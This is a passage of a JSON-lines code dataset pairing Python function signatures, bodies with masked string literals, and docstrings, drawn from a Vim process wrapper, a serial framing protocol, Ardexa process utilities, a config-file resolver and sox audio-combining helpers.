{"signature": "def __init__(self, executable, args, env):", "body": "self._executable = distutils.spawn.find_executable(executable)<EOL>self._args = args<EOL>self._env = env<EOL>self._open_process()<EOL>", "docstring": ":param str executable: command name to execute *Vim*\n:param args: arguments to execute *Vim*\n:type args: None or string or list of string\n:param env: environment variables to execute *Vim*\n:type env: None or dict of (string, string)", "id": "f3781:c0:m0"}
{"signature": "def terminate(self):", "body": "with self._close():<EOL><INDENT>self._process.terminate()<EOL><DEDENT>", "docstring": "Terminate this process.\nUse this method rather than ``self.kill``.", "id": "f3781:c0:m1"}
{"signature": "def kill(self):", "body": "with self._close():<EOL><INDENT>self._process.kill()<EOL><DEDENT>", "docstring": "Kill this process.\nUse this only when the process seems to be hanging up.", "id": "f3781:c0:m2"}
{"signature": "def check_readable(self, timeout):", "body": "rlist, wlist, xlist = select.select([self._stdout], [], [], timeout)<EOL>return bool(len(rlist))<EOL>", "docstring": "Poll ``self.stdout`` and return True if it is readable.\n\n:param float timeout: seconds to wait I/O\n:return: True if readable, else False\n:rtype: boolean", "id": "f3781:c0:m3"}
{"signature": "def is_alive(self):", "body": "return self._process.poll() is None<EOL>", "docstring": "Check if the process is alive.\n\n:return: True if the process is alive, else False\n:rtype: boolean", "id": "f3781:c0:m4"}
{"signature": "@property<EOL><INDENT>def executable(self):<DEDENT>", "body": "return self._executable<EOL>", "docstring": ":return: the absolute path to the process.\n:rtype: strIng", "id": "f3781:c0:m5"}
{"signature": "@property<EOL><INDENT>def args(self):<DEDENT>", "body": "return self._args<EOL>", "docstring": ":return: launch arguments of the process.\n:rtype: string or list of string", "id": "f3781:c0:m6"}
{"signature": "@property<EOL><INDENT>def stdin(self):<DEDENT>", "body": "return self._stdin<EOL>", "docstring": ":return: file-like object representing the standard input\n         of the process\n:rtype: flie-like object", "id": "f3781:c0:m7"}
{"signature": "@property<EOL><INDENT>def stdout(self):<DEDENT>", "body": "return self._stdout<EOL>", "docstring": ":return: non blocking file-like object\n         representing the standard output of the process\n:rtype: file-like object", "id": "f3781:c0:m8"}
{"signature": "def run(self):", "body": "run_once = True<EOL>while (run_once or self._threaded) and self.end is False:<EOL><INDENT>self.service_tx_queue()<EOL>self.parse_messages()<EOL>run_once = False<EOL>if self._threaded:<EOL><INDENT>time.sleep(self._timeout)<EOL><DEDENT><DEDENT>if self._threaded:<EOL><INDENT>logger.info('<STR_LIT>')<EOL><DEDENT>", "docstring": "Receives the serial data into the self._raw buffer\n:return:", "id": "f3786:c0:m23"}
{"signature": "def tx(self, message):", "body": "message = message if isinstance(message, list) else [message]<EOL>length = len(message)<EOL>length_high_byte = (length & <NUM_LIT>) >> <NUM_LIT:8><EOL>length_low_byte = length & <NUM_LIT><EOL>message_with_length = [length_low_byte, length_high_byte] + message<EOL>sum1, sum2 = self._fletcher16_checksum(message_with_length)<EOL>message_with_length.append(sum1)<EOL>message_with_length.append(sum2)<EOL>message = [self._START_OF_FRAME]<EOL>for b in message_with_length:<EOL><INDENT>if b in [self._START_OF_FRAME, self._END_OF_FRAME, self._ESC]:<EOL><INDENT>message.append(self._ESC)<EOL>message.append(b ^ self._ESC_XOR)<EOL><DEDENT>else:<EOL><INDENT>message.append(b)<EOL><DEDENT><DEDENT>message.append(self._END_OF_FRAME)<EOL>self._port.write(message)<EOL>", "docstring": "Transmit a series of bytes\n:param message: a list of bytes to send\n:return: None", "id": "f3788:c0:m1"}
{"signature": "def rx(self):", "body": "if not self._threaded:<EOL><INDENT>self.run()<EOL><DEDENT>try:<EOL><INDENT>return tuple(self._messages.pop(<NUM_LIT:0>))<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Receive a series of bytes that have been verified\n:return: a series of bytes as a tuple or None if empty", "id": "f3788:c0:m2"}
{"signature": "def _parse_raw_data(self):", "body": "if self._START_OF_FRAME in self._raw and self._END_OF_FRAME in self._raw:<EOL><INDENT>while self._raw[<NUM_LIT:0>] != self._START_OF_FRAME and len(self._raw) > <NUM_LIT:0>:<EOL><INDENT>self._raw.pop(<NUM_LIT:0>)<EOL><DEDENT>if self._raw[<NUM_LIT:0>] == self._START_OF_FRAME:<EOL><INDENT>self._raw.pop(<NUM_LIT:0>)<EOL><DEDENT>eof_index = self._raw.index(self._END_OF_FRAME)<EOL>raw_message = self._raw[:eof_index]<EOL>self._raw = self._raw[eof_index:]<EOL>logger.debug('<STR_LIT>'.format(raw_message))<EOL>message = self._remove_esc_chars(raw_message)<EOL>logger.debug('<STR_LIT>'.format(message))<EOL>expected_checksum = (message[-<NUM_LIT:1>] << <NUM_LIT:8>) | message[-<NUM_LIT:2>]<EOL>logger.debug('<STR_LIT>'.format(expected_checksum))<EOL>message = message[:-<NUM_LIT:2>]  <EOL>logger.debug('<STR_LIT>'.format(message))<EOL>sum1, sum2 = self._fletcher16_checksum(message)<EOL>calculated_checksum = (sum2 << <NUM_LIT:8>) | sum1<EOL>if expected_checksum == calculated_checksum:<EOL><INDENT>message = message[<NUM_LIT:2>:]  <EOL>logger.debug('<STR_LIT>'.format(message))<EOL>self._messages.append(message)<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>'.format(message))<EOL>logger.debug('<STR_LIT>'.format(expected_checksum, calculated_checksum))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>while self._raw[<NUM_LIT:0>] != self._START_OF_FRAME and len(self._raw) > <NUM_LIT:0>:<EOL><INDENT>self._raw.pop(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Parses the incoming data and determines if it is valid.  Valid\ndata gets placed into self._messages\n:return: None", "id": "f3788:c0:m4"}
{"signature": "def _fletcher16_checksum(self, data):", "body": "sum1 = <NUM_LIT:0><EOL>sum2 = <NUM_LIT:0><EOL>for i, b in enumerate(data):<EOL><INDENT>sum1 += b<EOL>sum1 &= <NUM_LIT>  <EOL>sum2 += sum1<EOL>sum2 &= <NUM_LIT><EOL><DEDENT>logger.debug('<STR_LIT>'.format(sum1, sum2))<EOL>return sum1, sum2<EOL>", "docstring": "Calculates a fletcher16 checksum for the list of bytes\n:param data: a list of bytes that comprise the message\n:return:", "id": "f3788:c0:m5"}
{"signature": "def _remove_esc_chars(self, raw_message):", "body": "message = []<EOL>escape_next = False<EOL>for c in raw_message:<EOL><INDENT>if escape_next:<EOL><INDENT>message.append(c ^ self._ESC_XOR)<EOL>escape_next = False<EOL><DEDENT>else:<EOL><INDENT>if c == self._ESC:<EOL><INDENT>escape_next = True<EOL><DEDENT>else:<EOL><INDENT>message.append(c)<EOL><DEDENT><DEDENT><DEDENT>return message<EOL>", "docstring": "Removes any escape characters from the message\n:param raw_message: a list of bytes containing the un-processed data\n:return: a message that has the escaped characters appropriately un-escaped", "id": "f3788:c0:m6"}
{"signature": "def run(self):", "body": "run_once = True<EOL>while run_once or self._threaded:<EOL><INDENT>waiting = self._port.in_waiting<EOL>if waiting > <NUM_LIT:0>:<EOL><INDENT>temp = [int(c) for c in self._port.read(waiting)]<EOL>self._raw += temp<EOL><DEDENT>self._parse_raw_data()<EOL>run_once = False<EOL>if self._threaded:<EOL><INDENT>time.sleep(self._timeout)<EOL><DEDENT><DEDENT>", "docstring": "Receives the serial data into the self._raw buffer\n:return:", "id": "f3788:c0:m7"}
{"signature": "def check_pidfile(pidfile, debug):", "body": "<EOL>if os.path.isfile(pidfile):<EOL><INDENT>pidfile_handle = open(pidfile, '<STR_LIT:r>')<EOL>try:<EOL><INDENT>pid = int(pidfile_handle.read())<EOL>pidfile_handle.close()<EOL>if check_pid(pid, debug):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>os.unlink(pidfile)<EOL><DEDENT>pid = str(os.getpid())<EOL>open(pidfile, '<STR_LIT:w>').write(pid)<EOL>return False<EOL>", "docstring": "Check that a process is not running more than once, using PIDFILE", "id": "f3794:m1"}
{"signature": "def check_pid(pid, debug):", "body": "try:<EOL><INDENT>os.kill(pid, <NUM_LIT:0>)<EOL>if debug > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL><DEDENT>except OSError:<EOL><INDENT>if debug > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "This function will check whether a PID is currently running", "id": "f3794:m2"}
{"signature": "def get_datetime_str():", "body": "return time.strftime('<STR_LIT>')<EOL>", "docstring": "This function gets the local time with local timezone offset", "id": "f3794:m3"}
{"signature": "def convert_to_int(value):", "body": "try:<EOL><INDENT>ret_val = int(value)<EOL>return ret_val, True<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:0>, False<EOL><DEDENT>", "docstring": "Convert a string to INT", "id": "f3794:m4"}
{"signature": "def convert_to_float(value):", "body": "try:<EOL><INDENT>ret_val = float(value)<EOL>return ret_val, True<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:0.0>, False<EOL><DEDENT>", "docstring": "Convert a string to FLOAT", "id": "f3794:m5"}
{"signature": "def convert_int32(high_word, low_word):", "body": "return convert_words_to_uint(high_word, low_word)<EOL>", "docstring": "Convert two words to a 32 bit unsigned integer", "id": "f3794:m6"}
{"signature": "def convert_words_to_uint(high_word, low_word):", "body": "try:<EOL><INDENT>low_num = int(low_word)<EOL>if low_num < <NUM_LIT:0>:<EOL><INDENT>low_num = abs(low_num) + <NUM_LIT:2>**<NUM_LIT:15><EOL><DEDENT>number = (int(high_word) << <NUM_LIT:16>) | low_num<EOL>return number, True<EOL><DEDENT>except:<EOL><INDENT>return <NUM_LIT:0>, False<EOL><DEDENT>", "docstring": "Convert two words to a floating point", "id": "f3794:m7"}
{"signature": "def convert_words_to_float(high_word, low_word):", "body": "number, retval = convert_words_to_uint(high_word, low_word)<EOL>if not retval:<EOL><INDENT>return <NUM_LIT:0.0>, False<EOL><DEDENT>try:<EOL><INDENT>packed_float = struct.pack('<STR_LIT>', number)<EOL>return struct.unpack('<STR_LIT>', packed_float)[<NUM_LIT:0>], True<EOL><DEDENT>except:<EOL><INDENT>return <NUM_LIT:0.0>, False<EOL><DEDENT>", "docstring": "Convert two words to a floating point", "id": "f3794:m8"}
{"signature": "def disown(debug):", "body": "<EOL>pid = os.getpid()<EOL>cgroup_file = \"<STR_LIT>\" + str(pid) + \"<STR_LIT>\"<EOL>try:<EOL><INDENT>infile = open(cgroup_file, \"<STR_LIT:r>\")<EOL><DEDENT>except IOError:<EOL><INDENT>print(\"<STR_LIT>\", cgroup_file)<EOL>return False<EOL><DEDENT>for line in infile:<EOL><INDENT>if line.find(\"<STR_LIT>\") == -<NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>line = line.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>items_list = line.split('<STR_LIT::>')<EOL>accounts = items_list[<NUM_LIT:1>]<EOL>dir_str = accounts + \"<STR_LIT>\"<EOL>if not accounts:<EOL><INDENT>continue<EOL><DEDENT>full_dir = \"<STR_LIT>\" + dir_str<EOL>if not os.path.exists(full_dir):<EOL><INDENT>os.makedirs(full_dir)<EOL>if debug >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", full_dir)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if debug >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", full_dir)<EOL><DEDENT><DEDENT>full_path = full_dir + \"<STR_LIT>\"<EOL>prog_list = [\"<STR_LIT>\", str(pid), \"<STR_LIT:>>\", full_path]<EOL>run_program(prog_list, debug, True)<EOL>if accounts.find(\"<STR_LIT:U+002C>\") != -<NUM_LIT:1>:<EOL><INDENT>acct_list = accounts.split('<STR_LIT:U+002C>')<EOL>accounts = acct_list[<NUM_LIT:1>] + \"<STR_LIT:U+002C>\" + acct_list[<NUM_LIT:0>]<EOL>dir_str = accounts + \"<STR_LIT>\"<EOL>full_dir = \"<STR_LIT>\" + dir_str<EOL>try:<EOL><INDENT>if not os.path.exists(full_dir):<EOL><INDENT>os.makedirs(full_dir)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>continue<EOL><DEDENT>full_path = full_dir + \"<STR_LIT>\"<EOL>prog_list = [\"<STR_LIT>\", str(pid), \"<STR_LIT:>>\", full_path]<EOL>run_program(prog_list, debug, True)<EOL><DEDENT><DEDENT>infile.close()<EOL>if debug >= <NUM_LIT:1>:<EOL><INDENT>prog_list = [\"<STR_LIT>\", cgroup_file]<EOL>run_program(prog_list, debug, False)<EOL><DEDENT>prog_list = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", cgroup_file]<EOL>if run_program(prog_list, debug, False):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "This function will disown, so the Ardexa service can be restarted", "id": "f3794:m9"}
{"signature": "def run_program(prog_list, debug, shell):", "body": "try:<EOL><INDENT>if not shell:<EOL><INDENT>process = Popen(prog_list, stdout=PIPE, stderr=PIPE)<EOL>stdout, stderr = process.communicate()<EOL>retcode = process.returncode<EOL>if debug >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(prog_list))<EOL>print(\"<STR_LIT>\", retcode)<EOL>print(\"<STR_LIT>\", stdout)<EOL>print(\"<STR_LIT>\", stderr)<EOL><DEDENT>return bool(retcode)<EOL><DEDENT>else:<EOL><INDENT>command = \"<STR_LIT:U+0020>\".join(prog_list)<EOL>os.system(command)<EOL>return True<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Run a  program and check program return code Note that some commands don't work\n    well with Popen.  So if this function is specifically called with 'shell=True',\n    then it will run the old 'os.system'. In which case, there is no program output", "id": "f3794:m10"}
{"signature": "def parse_address_list(addrs):", "body": "for addr in addrs.split('<STR_LIT:U+002C>'):<EOL><INDENT>elem = addr.split('<STR_LIT:->')<EOL>if len(elem) == <NUM_LIT:1>: <EOL><INDENT>yield int(elem[<NUM_LIT:0>])<EOL><DEDENT>elif len(elem) == <NUM_LIT:2>: <EOL><INDENT>start, end = list(map(int, elem))<EOL>for i in range(start, end+<NUM_LIT:1>):<EOL><INDENT>yield i<EOL><DEDENT><DEDENT>else: <EOL><INDENT>raise ValueError('<STR_LIT>' % addr)<EOL><DEDENT><DEDENT>", "docstring": "Yield each integer from a complex range string like \"1-9,12,15-20,23\"\n\n    >>> list(parse_address_list('1-9,12,15-20,23'))\n    [1, 2, 3, 4, 5, 6, 7, 8, 9, 12, 15, 16, 17, 18, 19, 20, 23]\n\n    >>> list(parse_address_list('1-9,12,15-20,2-3-4'))\n    Traceback (most recent call last):\n        ...\n    ValueError: format error in 2-3-4", "id": "f3794:m11"}
{"signature": "@contextmanager<EOL>def environment(**kwargs):", "body": "old_values = {}<EOL>nonexistent = set()<EOL>for key in kwargs:<EOL><INDENT>if key not in os.environ:<EOL><INDENT>nonexistent.add(key)<EOL><DEDENT>else:<EOL><INDENT>old_values[key] = os.environ[key]<EOL><DEDENT>os.environ[key] = kwargs[key]<EOL><DEDENT>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>for key in old_values:<EOL><INDENT>os.environ[key] = old_values[key]<EOL><DEDENT>for key in nonexistent:<EOL><INDENT>os.environ.pop(key)<EOL><DEDENT><DEDENT>", "docstring": "Context manager to tempolrarily change environment variables. On exit all\nvariables are set to their original value.", "id": "f3795:m0"}
{"signature": "def emit(self, record):", "body": "self.records.append(record)<EOL>", "docstring": "Overrides :py:meth:`logging.Handler.emit`.", "id": "f3795:c0:m1"}
{"signature": "def contains(self, logger, level, message, is_regex=False):", "body": "for record in self.records:<EOL><INDENT>if record.name != logger or record.levelno != level:<EOL><INDENT>continue<EOL><DEDENT>if is_regex:<EOL><INDENT>if re.search(message, (record.msg % record.args)):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if message in (record.msg % record.args):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Checks whether a message has been logged to a specific logger with a\nspecific level.\n\n:param logger: The logger.\n:param level: The log level.\n:param messgae: The message contents.\n:param is_regex: Whether the expected message is a regex or not.\n    Non-regex messages are simply tested for inclusion.", "id": "f3795:c0:m4"}
{"signature": "def get_new_call(group_name, app_name, search_path, filename, require_load,<EOL>version, secure):<EOL>", "body": "new_call_kwargs = {<EOL>'<STR_LIT>': group_name,<EOL>'<STR_LIT:filename>': filename<EOL>}  <EOL>new_call_lookup_options = {}  <EOL>new_call_lookup_options['<STR_LIT>'] = secure<EOL>if search_path:<EOL><INDENT>new_call_lookup_options['<STR_LIT>'] = search_path<EOL><DEDENT>if require_load:<EOL><INDENT>new_call_lookup_options['<STR_LIT>'] = require_load<EOL><DEDENT>if version:<EOL><INDENT>new_call_lookup_options['<STR_LIT:version>'] = version<EOL><DEDENT>if new_call_lookup_options:<EOL><INDENT>new_call_kwargs['<STR_LIT>'] = new_call_lookup_options<EOL><DEDENT>output = build_call_str('<STR_LIT>', (app_name,), new_call_kwargs)<EOL>return output<EOL>", "docstring": "Build a call to use the new ``get_config`` function from args passed to\n``Config.__init__``.", "id": "f3801:m0"}
{"signature": "def build_call_str(prefix, args, kwargs):<EOL>", "body": "kwargs_str = '<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (key, value) for key, value in<EOL>kwargs.items()])<EOL>args_str = '<STR_LIT:U+002CU+0020>'.join([repr(arg) for arg in args])<EOL>output = [prefix, '<STR_LIT:(>']<EOL>if args:<EOL><INDENT>output.append(args_str)<EOL><DEDENT>if args and kwargs:<EOL><INDENT>output.append('<STR_LIT:U+002CU+0020>')<EOL><DEDENT>if kwargs:<EOL><INDENT>output.append(kwargs_str)<EOL><DEDENT>output.append('<STR_LIT:)>')<EOL>return '<STR_LIT>'.join(output)<EOL>", "docstring": "Build a callable Python string for a function call. The output will be\ncombined similar to this template::\n\n    <prefix>(<args>, <kwargs>)\n\nExample::\n\n    >>> build_call_str('foo', (1, 2), {'a': '10'})\n    \"foo(1, 2, a='10')\"", "id": "f3801:m1"}
{"signature": "def get_xdg_dirs(self):<EOL>", "body": "config_dirs = getenv('<STR_LIT>', '<STR_LIT>')<EOL>if config_dirs:<EOL><INDENT>self._log.debug('<STR_LIT>', config_dirs)<EOL>output = []<EOL>for path in reversed(config_dirs.split('<STR_LIT::>')):<EOL><INDENT>output.append(join(path, self.group_name, self.app_name))<EOL><DEDENT>return output<EOL><DEDENT>return ['<STR_LIT>' % (self.group_name, self.app_name)]<EOL>", "docstring": "Returns a list of paths specified by the XDG_CONFIG_DIRS environment\nvariable or the appropriate default.\n\nThe list is sorted by precedence, with the most important item coming\n*last* (required by the existing config_resolver logic).", "id": "f3801:c0:m3"}
{"signature": "def get_xdg_home(self):<EOL>", "body": "config_home = getenv('<STR_LIT>', '<STR_LIT>')<EOL>if config_home:<EOL><INDENT>self._log.debug('<STR_LIT>', config_home)<EOL>return expanduser(join(config_home, self.group_name, self.app_name))<EOL><DEDENT>return expanduser('<STR_LIT>' % (self.group_name, self.app_name))<EOL>", "docstring": "Returns the value specified in the XDG_CONFIG_HOME environment variable\nor the appropriate default.", "id": "f3801:c0:m4"}
{"signature": "def _effective_filename(self):<EOL>", "body": "<EOL>config_filename = '<STR_LIT>'<EOL>if self.filename:<EOL><INDENT>config_filename = self.filename<EOL><DEDENT>env_filename = getenv(self.env_filename_name)<EOL>if env_filename:<EOL><INDENT>self._log.info('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>env_filename,<EOL>self.env_filename_name)<EOL>config_filename = env_filename<EOL><DEDENT>return config_filename<EOL>", "docstring": "Returns the filename which is effectively used by the application. If\noverridden by an environment variable, it will return that filename.", "id": "f3801:c0:m5"}
{"signature": "def _effective_path(self):<EOL>", "body": "<EOL>path = (['<STR_LIT>' % (self.group_name, self.app_name)] +<EOL>self.get_xdg_dirs() +<EOL>[expanduser('<STR_LIT>' % (self.group_name, self.app_name)),<EOL>self.get_xdg_home(),<EOL>join(getcwd(), '<STR_LIT>'.format(self.group_name), self.app_name)])<EOL>if self.search_path:<EOL><INDENT>path = self.search_path.split(pathsep)<EOL><DEDENT>env_path = getenv(self.env_path_name)<EOL>if env_path and env_path.startswith('<STR_LIT:+>'):<EOL><INDENT>additional_paths = env_path[<NUM_LIT:1>:].split(pathsep)<EOL>self._log.info('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>additional_paths,<EOL>self.env_path_name)<EOL>path.extend(additional_paths)<EOL><DEDENT>elif env_path:<EOL><INDENT>self._log.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>env_path,<EOL>self.env_path_name)<EOL>path = env_path.split(pathsep)<EOL><DEDENT>return path<EOL>", "docstring": "Returns a list of paths to search for config files in reverse order of\nprecedence.  In other words: the last path element will override the\nsettings from the first one.", "id": "f3801:c0:m6"}
{"signature": "def check_file(self, filename):<EOL>", "body": "if not exists(filename):<EOL><INDENT>return False<EOL><DEDENT>new_config = ConfigResolverBase()<EOL>new_config.read(filename)<EOL>if self.version and not new_config.has_option('<STR_LIT>', '<STR_LIT:version>'):<EOL><INDENT>raise NoVersionError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(filename,<EOL>self.version))<EOL><DEDENT>elif not self.version and new_config.has_option('<STR_LIT>', '<STR_LIT:version>'):<EOL><INDENT>self.version = StrictVersion(new_config.get('<STR_LIT>', '<STR_LIT:version>'))<EOL>self._log.info('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>filename, self.version)<EOL><DEDENT>elif self.version:<EOL><INDENT>file_version = new_config.get('<STR_LIT>', '<STR_LIT:version>')<EOL>major, minor, _ = StrictVersion(file_version).version<EOL>expected_major, expected_minor, _ = self.version.version<EOL>if expected_major != major:<EOL><INDENT>self._log.error(<EOL>'<STR_LIT>',<EOL>abspath(filename),<EOL>str(self.version),<EOL>file_version)<EOL>return False<EOL><DEDENT>if expected_minor != minor:<EOL><INDENT>self._log.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>abspath(filename),<EOL>str(self.version),<EOL>file_version)<EOL>return True<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check if ``filename`` can be read. Will return boolean which is True if\nthe file can be read, False otherwise.", "id": "f3801:c0:m7"}
{"signature": "def get(self, section, option, **kwargs):  <EOL>", "body": "if \"<STR_LIT:default>\" in kwargs:<EOL><INDENT>default = kwargs.pop(\"<STR_LIT:default>\")<EOL>new_kwargs = {'<STR_LIT>': default}<EOL>new_kwargs.update(kwargs)<EOL>new_call = build_call_str('<STR_LIT>', (section, option), new_kwargs)<EOL>warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % new_call,<EOL>DeprecationWarning,<EOL>stacklevel=<NUM_LIT:2>)<EOL>have_default = True<EOL><DEDENT>else:<EOL><INDENT>have_default = False<EOL><DEDENT>try:<EOL><INDENT>value = super(Config, self).get(section, option, **kwargs)<EOL>return value<EOL><DEDENT>except (NoSectionError, NoOptionError) as exc:<EOL><INDENT>if have_default:<EOL><INDENT>self._log.debug(\"<STR_LIT>\", exc, default)<EOL>return default<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Overrides :py:meth:`configparser.ConfigParser.get`.\n\nIn addition to ``section`` and ``option``, this call takes an optional\n``default`` value. This behaviour works in *addition* to the\n:py:class:`configparser.ConfigParser` default mechanism. Note that\na default value from ``ConfigParser`` takes precedence.\n\nThe reason this additional functionality is added, is because the\ndefaults of :py:class:`configparser.ConfigParser` are not dependent\non sections. If you specify a default for the option ``test``, then\nthis value will be returned for both ``section1.test`` and for\n``section2.test``. Using the default on the ``get`` call gives you more\nfine-grained control over this.\n\nAlso note, that if a default value was used, it will be logged with\nlevel ``logging.DEBUG``.\n\n:param section: The config file section.\n:param option: The option name.\n:param kwargs: These keyword args are passed through to\n               :py:meth:`configparser.ConfigParser.get`.", "id": "f3801:c0:m8"}
{"signature": "def load(self, reload=False, require_load=False):<EOL>", "body": "if reload:  <EOL><INDENT>self.config = None<EOL><DEDENT>if self.config:  <EOL><INDENT>self._log.debug('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>path = self._effective_path()<EOL>config_filename = self._effective_filename()<EOL>self._active_path = [join(_, config_filename) for _ in path]<EOL>for dirname in path:<EOL><INDENT>conf_name = join(dirname, config_filename)<EOL>readable = self.check_file(conf_name)<EOL>if readable:<EOL><INDENT>action = '<STR_LIT>' if self._loaded_files else '<STR_LIT>'<EOL>self._log.info('<STR_LIT>', action, conf_name)<EOL>self.read(conf_name)<EOL>if conf_name == expanduser(\"<STR_LIT>\" % (<EOL>self.group_name, self.app_name, self.filename)):<EOL><INDENT>self._log.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", expanduser(\"<STR_LIT>\"), self.group_name,<EOL>self.app_name, expanduser(\"<STR_LIT>\"), self.group_name,<EOL>self.app_name)<EOL><DEDENT>self._loaded_files.append(conf_name)<EOL><DEDENT><DEDENT>if not self._loaded_files and not require_load:<EOL><INDENT>self._log.warning(<EOL>\"<STR_LIT>\",<EOL>config_filename,<EOL>path)<EOL><DEDENT>elif not self._loaded_files and require_load:<EOL><INDENT>raise IOError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (config_filename, path))<EOL><DEDENT>", "docstring": "Searches for an appropriate config file. If found, loads the file into\nthe current instance. This method can also be used to reload a\nconfiguration. Note that you may want to set ``reload`` to ``True`` to\nclear the configuration before loading in that case.  Without doing\nthat, values will remain available even if they have been removed from\nthe config files.\n\n:param reload: if set to ``True``, the existing values are cleared\n               before reloading.\n:param require_load: If set to ``True`` this will raise a\n                     :py:exc:`IOError` if no config file has been found\n                     to load.", "id": "f3801:c0:m9"}
{"signature": "def check_file(self, filename):<EOL>", "body": "can_read = super(SecuredConfig, self).check_file(filename)<EOL>if not can_read:<EOL><INDENT>return False<EOL><DEDENT>mode = get_stat(filename).st_mode<EOL>if (mode & stat.S_IRGRP) or (mode & stat.S_IROTH):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>self._log.warning(msg, filename)<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Overrides :py:meth:`.Config.check_file`", "id": "f3801:c1:m0"}
{"signature": "def _validate_file_formats(input_filepath_list, combine_type):", "body": "_validate_sample_rates(input_filepath_list, combine_type)<EOL>if combine_type == '<STR_LIT>':<EOL><INDENT>_validate_num_channels(input_filepath_list, combine_type)<EOL><DEDENT>", "docstring": "Validate that combine method can be performed with given files.\n    Raises IOError if input file formats are incompatible.", "id": "f3808:m0"}
{"signature": "def _validate_sample_rates(input_filepath_list, combine_type):", "body": "sample_rates = [<EOL>file_info.sample_rate(f) for f in input_filepath_list<EOL>]<EOL>if not core.all_equal(sample_rates):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(combine_type)<EOL>)<EOL><DEDENT>", "docstring": "Check if files in input file list have the same sample rate", "id": "f3808:m1"}
{"signature": "def _validate_num_channels(input_filepath_list, combine_type):", "body": "channels = [<EOL>file_info.channels(f) for f in input_filepath_list<EOL>]<EOL>if not core.all_equal(channels):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(combine_type)<EOL>)<EOL><DEDENT>", "docstring": "Check if files in input file list have the same number of channels", "id": "f3808:m2"}
{"signature": "def _build_input_format_list(input_filepath_list, input_volumes=None,<EOL>input_format=None):", "body": "n_inputs = len(input_filepath_list)<EOL>input_format_list = []<EOL>for _ in range(n_inputs):<EOL><INDENT>input_format_list.append([])<EOL><DEDENT>if input_volumes is None:<EOL><INDENT>vols = [<NUM_LIT:1>] * n_inputs<EOL><DEDENT>else:<EOL><INDENT>n_volumes = len(input_volumes)<EOL>if n_volumes < n_inputs:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>n_volumes, n_inputs, n_inputs - n_volumes<EOL>)<EOL>vols = input_volumes + [<NUM_LIT:1>] * (n_inputs - n_volumes)<EOL><DEDENT>elif n_volumes > n_inputs:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>n_volumes, n_inputs, n_volumes - n_inputs<EOL>)<EOL>vols = input_volumes[:n_inputs]<EOL><DEDENT>else:<EOL><INDENT>vols = [v for v in input_volumes]<EOL><DEDENT><DEDENT>if input_format is None:<EOL><INDENT>fmts = [[] for _ in range(n_inputs)]<EOL><DEDENT>else:<EOL><INDENT>n_fmts = len(input_format)<EOL>if n_fmts < n_inputs:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>n_fmts, n_inputs, n_inputs - n_fmts<EOL>)<EOL>fmts = [f for f in input_format]<EOL>fmts.extend([[] for _ in range(n_inputs - n_fmts)])<EOL><DEDENT>elif n_fmts > n_inputs:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>n_fmts, n_inputs, n_fmts - n_inputs<EOL>)<EOL>fmts = input_format[:n_inputs]<EOL><DEDENT>else:<EOL><INDENT>fmts = [f for f in input_format]<EOL><DEDENT><DEDENT>for i, (vol, fmt) in enumerate(zip(vols, 